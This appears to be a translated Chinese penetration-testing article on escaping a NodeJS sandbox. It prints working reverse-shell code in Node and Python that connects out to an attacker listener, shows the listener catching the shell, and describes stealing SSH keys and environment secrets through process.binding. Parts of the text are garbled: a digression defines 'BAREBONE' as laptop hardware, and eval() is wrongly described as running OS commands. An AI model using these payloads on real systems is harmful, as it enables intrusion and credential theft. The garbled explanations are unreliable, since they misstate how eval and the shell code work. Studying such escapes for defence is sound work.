导语:在这篇文章中,我们将探讨如何使用解释器的内部结构来逃离NodeJS沙箱。
在这篇文章中,我们将探讨如何使用解释器的内部结构来逃离NodeJS沙箱。
Node.js是一个Javascript运行环境(runtime environment),发布于2009年5月,由Ryan Dahl开发,实质是对Chrome V8引擎进行了封装。Node.js不是一个JavaScript框架,不同于CakePHP、Django、Rails。Node.js更不是浏览器端的库,不能与jQuery、ExtJS相提并论。Node.js是一个让JavaScript运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好。V8引擎执行Javascript的速度非常快,性能非常好。开发人员使用Node.js后,可以让应用程序的前端和后端同时使用相同的编程语言。如今,NodeJS的下载量已经超过2.5亿次,并且这个量还在继续增长。这种受欢迎程度和广泛使用度,使得人们可以在web应用程序的测试中,发现许多有趣的功能。
在NodeJS出现之前,开发人员在开发一个应用程序时,是需要使用不同的服务器端语言的,比如PHP或Perl,这些语言本身就存在安全问题。不过,尽管NodeJS和JavaScript提供了改进措施,但由于eval()函数的关系,它们在命令注入方面并没有什么不同。
eval()是程序语言中的函数,功能是获取返回值,不同语言大同小异,函数原型是返回值 = eval( codeString ),如果eval函数在执行时遇到错误,则抛出异常给调用者。
eval函数允许应用程序在操作系统级别执行命令,当操作系统和应用程序之间的功能无法对接,或应用程序很容易将其所应发挥的功能推卸给底层系统时,开发人员将求助于eval。最终,使用eval函数的功能可以实现沙盒在不同级别的运行,以防止像攻击者运行底层服务器。
现在,让我们深入研究一下NodeJS,看看如何在一个允许执行任意JavaScript的应用程序中逃离NodeJS沙箱。
反向shell
我们首先花了大量的时间做了渗透性测试,然后再进行了反向shell。在此期间,我参考了大量Wiremask的文章,构建了一个可以在NodeJS中使用的BAREBONE反向shell。
BAREBONE,也叫笔记本准系统。准系统的英文名称是Barebone或Bare System,现在指某些厂家生产的没有CPU、硬盘,光驱等等的以便于用户自己DIY的一种集笔记本shell、显示屏、主板、电池于一体的产品。
(function(){var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []);var client = new net.Socket(); client.connect(8080, "192.168.1.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });return /a/; // Prevents the Node.js application form crashing})();
如果你所测试的设备的沙盒很弱或者根本不存在,那你是非常的幸运,此时你就会得到一个反向shell,继续下一步探索。然而,现实中这样的好运气却非常少。为此,我们将研究如何在沙盒环境很强的设备中,无需require就可以执行反向shell。这是一种常见的沙盒技术,是抵御攻击的第一步防御措施。如果无法导入NodeJS标准库,则无法轻松执行诸如向操作系统读取/写入文件或建立网络连接等操作。现在,真正的挑战开始了。
目标侦察
任何渗透测试方法的第一步都是目标侦察,我们认为通过识别任意命令执行可以到达这个目的。但由于沙箱的存在,我们必须从头开始侦察。其中,最重要的就是要确定执行任意命令时的有效载荷具有哪些访问权限,最直接的方法是触发堆栈跟踪并查看输出内容。所谓的堆栈跟踪,就是通过问题中给出的示例,我们可以准确的确定应用程序中触发异常的位置。不幸的是,并不是所有的web应用程序都会简单的将堆栈跟踪或标准错误返回给侦查人员。幸运的是,我们可以使用有效载荷生成堆栈跟踪并将其进行标准输出,具体的方法,大家可以查看StackOverflow网站,我们可以看到代码实际上非常简单,特别是带有新语言特性的代码。如果没有直接的控制台访问,我们必须使用print语句或返回实际的跟踪,以下代码将执行以下操作。
function stackTrace() {var err = new Error(); print(err.stack); }
运行这个有效载荷后,我们将得到一个堆栈跟踪:
Error at stackTrace (lodash.templateSources[3354]:49:19) at eval (lodash.templateSources[3354]:52:11) at Object.eval (lodash.templateSources[3354]:65:3) at evalmachine.:38:49 at Array.map () at resolveLodashTemplates (evalmachine.:25:25) at evalmachine.:59:3 at ContextifyScript.Script.runInContext (vm.js:59:29) at Object.runInContext (vm.js:120:6) at /var/www/ClientServer/services/Router/sandbox.js:95:29 ...
现在我们就进入了sandbox.js中,使用eval在lodash模板中运行。现在,我们就可以尝试找出当前的代码上下文。
我们会尝试将这些内容导出来,但这个过程并不简单,必须要使用JSON.stringify()。
> print(JSON.stringify(this)) < TypeError: Converting circular structure to JSON
不幸的是,其中还存在一些循环引用,这意味着我们需要一个脚本来识别这些引用并阻断它们。我们的方法就是将JSON.prune嵌入到有效载荷中。
> print(JSON.prune(this)) < { "console": {}, "global": "-pruned-", "process": { "title": "/usr/local/nvm/versions/node/v8.9.0/bin/node", "version": "v8.9.0", "moduleLoadList": [ ... ], ... }
原始的JSON.prune不支持枚举可用的函数,不过我们可以修改case "function"结果来得到函数的名称,从而更好的映射可用函数,运行此有效载荷将枚举大量的可用的函数,其中包含一些有趣的项目。首先, this.process.env会包含当前进程的环境变量,可能包含API密钥或密码。其次,this.process.mainModule包含当前运行模块的配置,另外你还可以找到其他需要进一步研究的特定于应用程序的项目,例如配置文件位置。最后,我们会看到this.process.moduleLoadList,它是由主进程加载的所有NodeJS模块的列表。
在NodeJS中逃脱沙箱
通过查看主进程中的moduleLoadList,就可以发现我们所需要的原始反向shell代码。我们可以在其中看到我们需要的两个模块:net和child_process,它们应该已经被加载。这样,我们就可以开始研究如何访问进程加载的模块。如果没有require,我们就必须使用内部库和NodeJS本身使用的API。在阅读完进程的NodeJS文档后,我们知道了如何利用dlopen(),但是,本文的重点不在这里,因为利用的过程太复杂。不过,我们发现了有一种更简单的方法:process.binding(),就是通过NodeJS源代码本身,最终得到fs.js,即文件I/O的NodeJS库。我们可以在其中看到process.binding('fs')正在被使用。关于它是如何工作的,本文也不会多讲,不过你知道它最终会返回fs模块就可以了。使用JSON.prune对该模块进行修改,就可以找到我们所需的函数名称,查看它所对应的功能。
> var fs = this.process.binding('fs'); > print(JSON.prune(fs)); < { "access": "func access()", "close": "func close()", "open": "func open()", "read": "func read()", ... "rmdir": "func rmdir()", "mkdir": "func mkdir()", ... }
在进一步研究之后,我们了解到这些都是NodeJS使用的C ++绑定的功能,只要使用适当的C/ c++函数签名,我们就可以对这些函数进行读取或写入。这样,我们就可以开始研究本地文件系统了,并通过将公钥写入 ~/.ssh/authorized_keys 或读取 ~/.ssh/id_rsa来获取SSH访问权限。但是,通常的做法是将虚拟机与直接访问和代理流量隔离开来。所以,我们逃脱沙箱的方法就是启动反向shell连接来绕过这个网络限制。为此,我们将尝试复制child_process和net包。
这样,我们的研究重点就变为了探索NodeJS存储库中c++所绑定的功能。该研究涉及读取想要执行的函数的相关JS库(如net.js),然后再将所发现的功能反过来与c++绑定的功能对照,以便将所有思路组合在一起。我们原本可以在没有require的情况下重写net.js,但是有一个更简单的方法,就是GitHub上的CapcitorSet已经做了很多繁重的工作,并在没有require:spawn_sync的情况下重写了执行操作系统级的命令。我们可以在此基础上,做一个小的更改:将process.binding()更改为this.process.binding(),将console.log()更改为print()(或将其完全删除)。接下来,我们还需要弄清楚我们可以使用什么来启动反向shell,这是典型的post-exploitation (后漏洞利用)过程。我们可以利用该方法寻找运行which <binary name>有效载荷的netcat,perl,python等,例如python。在本文的示例中,我们是在highon.coffee的反向shell引用上发现的Python和相应的有效载荷:
var resp = spawnSync('python', ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ] ); print(resp.stdout); print(resp.stderr);
确保更新“127.0.0.1”和443值,以分别指向netcat(netcat是网络界的瑞士军刀,它的主要作用是:提供连接其他终端的方法,可以上传文件, 反向shel等等)正在监控的可通过互联网访问的IP地址和端口。当我们运行有效载荷时,就可以看到反向shel进行了成功的沙箱绕过。
[email protected]$ nc -nvlp 443 Listening on [0.0.0.0] (family 0, port 443) Connection from [192.168.1.1] port 443 [tcp/*] accepted (family 2, sport 48438) sh: no job control in this shell sh-4.2$ whoami whoami user sh-4.2$ ifconfig ifconfig ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001 inet 192.168.1.1 netmask 255.255.240.0 broadcast 192.168.1.255 ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet) RX packets 4344691 bytes 1198637148 (1.1 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4377151 bytes 1646033264 (1.5 GiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 126582565 bytes 25595751878 (23.8 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 126582565 bytes 25595751878 (23.8 GiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
总结
通过任意代码执行完成反向shell,我们就可以进行NodeJS沙盒逃逸,虽然本文的研究还处于理论阶段,但要大规模应用,只是时间问题。这个问题在早期的web后端语言(如PHP)中非常严重,并且至今仍然困扰着我们。
所以,我们得出的安全结论就是:永远不要信任用户执行的任何输入内容,永远不要执行用户提供的代码。此外,对于渗透测试者来说,在解释器的内部结构中进行沙箱绕过是非常有价值的事情,这可以促使他们对很多安全机制进行深度思考。